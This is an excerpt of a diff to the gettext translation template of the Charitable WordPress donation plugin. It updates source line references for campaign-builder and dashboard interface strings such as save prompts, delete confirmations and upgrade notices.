includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:692\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:697\n msgid \"Hide presets\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:697\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:702\n msgid \"Save And Reload Campaign\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:699\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:704\n msgid \"Due to form changes, conditional logic rules will be removed or updated:\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:700\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:705\n msgid \"Are you sure you want to disable conditional logic? This will remove the rules for this field or setting.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:701\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:706\n msgid \"Please Save!\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:702\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:707\n msgid \"You need to save this campaign before previewing.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:703\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:708\n msgid \"Field Locked\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:704\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:709\n msgid \"This field cannot be deleted or duplicated.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:705\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:710\n msgid \"Field\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:706\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:711\n msgid \"This field cannot be deleted.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:707\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:712\n msgid \"This field cannot be duplicated.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:708\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:713\n msgid \"Available Fields\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:709\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:714\n msgid \"No fields available\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:710\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:715\n msgid \"Heads up!\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:717\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:722\n msgid \"No email fields\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:718\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:723\n msgid \"Are you sure you want to delete this notification?\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:719\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:724\n msgid \"Enter a notification name\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:720\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:725\n msgid \"Eg: User Confirmation\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:721\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:726\n msgid \"You must provide a notification name\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:722\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:727\n msgid \"Default Notification\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:723\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:728\n msgid \"Are you sure you want to delete this confirmation?\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:724\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:729\n msgid \"Enter a confirmation name\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:725\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:730\n msgid \"Eg: Alternative Confirmation\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:726\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:731\n msgid \"You must provide a confirmation name\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:727\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:732\n msgid \"Default Confirmation\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:728\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1011\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1467\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:733\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1027\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1485\n msgid \"Save\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:729\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:734\n msgid \"Saving\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:730\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:735\n msgid \"Saved!\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:731\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:736\n msgid \"Save and Exit\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:732\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:737\n msgid \"Save and Embed\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:734\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:739\n msgid \"Show Layouts\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:735\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:740\n msgid \"Hide Layouts\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:736\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:741\n msgid \"Select your layout\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:737\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:742\n msgid \"Select your column\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:738\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:743\n msgid \"Loading\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:739\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:744\n msgid \"Use Template\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:740\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:745\n msgid \"Changing templates on an existing form will DELETE existing form fields. Are you sure you want apply the new template?\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:741\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1031\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1429\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:746\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1047\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1447\n #: includes\u002Fadmin\u002Ftemplates\u002Fcampaign-builder-onboarding.php:59\n msgid \"Embed\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:742\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:747\n msgid \"Exit\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:744\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:749\n msgid \"Your campaign contains unsaved changes. Would you like to save your changes first?\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:745\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:750\n msgid \"Are you sure you want to delete this field?\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:746\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:751\n msgid \"Are you sure you want to delete this tab?\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:747\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:752\n msgid \"Are you sure you want to delete this choice?\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:748\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:753\n msgid \"Are you sure you want to duplicate this field?\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:749\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:754\n msgid \"(copy)\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:750\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:755\n msgid \"Please enter a campaign name.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:751\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:756\n msgid \"You need a name for your campaign before you save.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:752\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:757\n msgid \"This item must contain at least one choice.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:753\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:758\n msgid \"Off\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:754\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:759\n msgid \"On\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:755\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:760\n #: includes\u002Fadmin\u002Fviews\u002Fchecklist\u002Fchecklist.php:126\n msgid \"or\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:756\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:761\n msgid \"Other\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:757\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:762\n msgid \"is\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:758\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:763\n msgid \"is not\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:759\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:764\n msgid \"empty\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:760\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:765\n msgid \"not empty\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:761\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:766\n msgid \"contains\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:762\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:767\n msgid \"does not contain\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:763\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:768\n msgid \"starts with\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:764\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:769\n msgid \"ends with\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:765\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:770\n msgid \"greater than\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:766\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:771\n msgid \"less than\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:767\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:772\n msgid \"Previous\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:768\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:773\n msgid \"Something went wrong while saving the form. Please reload the page and try again.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:769\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:774\n msgid \"Please contact the plugin support team if this behavior persists.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:770\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:775\n msgid \"Are you sure you want to reset your template? All your work will be lost.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:772\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:777\n msgid \"This field cannot be moved.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:773\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:778\n msgid \"You shouldn't have a donation form AND a donation button in the same campaign page. Remove the donation button if you wish to add a donation form.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:774\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:779\n msgid \"Remove Donation Button\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:775\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:780\n msgid \"You shouldn't have a donation form AND a donation button in the same campaign page. Remove the donation form if you wish to add a donation button.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:776\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:781\n msgid \"Remove Donation Form\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:777\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:782\n msgid \"You shouldn't have more than one donation form on your campaign page. Move or delete the current donation form.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:778\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:783\n msgid \"Are you sure you want to delete your campaign? You cannot undo this.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:779\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:784\n msgid \"Some fields of this form are required. Please update the form and try submiting again. Thanks!\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:780\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:785\n msgid \"Empty Label\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:781\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:786\n msgid \"No results found\"\n msgstr \"\"\n \n #. translators: %s: configure tab settings link\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:784\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:789\n #, php-format\n msgid \"This tab is empty. Drag a block from the left into this area or%1$s%2$s%3$s\"\n msgstr \"\"\n \n #. translators: 1: Template ID\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:786\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:793\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:791\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:798\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-design.php:1247\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-design.php:1261\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Ftemplates\u002Fclass-templates.php:3565\n@@ -6074,171 +6072,200 @@\n msgstr \"\"\n \n #. translators: %s: configure tab settings link\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:791\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:796\n #, php-format\n msgid \"There are no tabs yet for this template. You can %1$s%2$s%3$s to add a tab.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:796\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:801\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-design.php:623\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Ftemplates\u002Fclass-templates.php:1285\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex-min.js:4\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex.js:129\n msgid \"New Tab\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:797\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:802\n msgid \"My New Campaign\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:798\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:803\n msgid \"We're sorry, the %name% is not available because you have the display settings for donation form set to 'modal' in Charitable general settings.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:799\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:804\n msgid \"We're sorry, the %name% is not available because you have the display settings for donation form set to 'same page' in Charitable general settings.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:801\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:806\n msgid \"Go to Settings\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:802\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:807\n msgid \"Update Campaign\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:803\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:983\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:808\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:999\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Ftemplates\u002Fclass-templates.php:1643\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:940\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:944\n-#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1284\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:986\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:990\n+#: includes\u002Fadmin\u002Fdashboard\u002Fclass-charitable-dashboard.php:1330\n #: includes\u002Fadmin\u002Fviews\u002Fchecklist\u002Fchecklist.php:462\n msgid \"Create Campaign\"\n msgstr \"\"\n \n #. translators: %s - plan name.\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:807\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:824\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:841\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:812\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:829\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:846\n #, php-format\n msgid \"is a %1$s feature.\"\n msgstr \"\"\n \n #. translators: %s - addon name.\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:809\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:826\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:843\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:814\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:831\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:848\n #, php-format\n msgid \"We're sorry, the %1$s is not available on your plan. Please upgrade to the %2$s plan to unlock all these awesome features.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:813\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:830\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:847\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:863\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:818\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:835\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:852\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:868\n msgid \"Already purchased?\"\n msgstr \"\"\n \n #. translators: %1$s - plan name, %2$s - addon name.\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:817\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:834\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:851\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:867\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:822\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:839\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:856\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:872\n #, php-format\n msgid \"Upgrade to %1$s And Unlock %2$s\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:857\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:862\n msgid \"is a PRO feature\"\n msgstr \"\"\n \n #. translators: %s - addon name.\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:859\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:864\n #, php-format\n msgid \"We're sorry, %s features are not available on your plan. Please upgrade to the PRO plan to unlock all these awesome features.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:875\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:890\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:905\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:880\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:895\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:910\n msgid \"is not installed or activated\"\n msgstr \"\"\n \n #. translators: %s - addon name.\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:877\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:892\n-#: 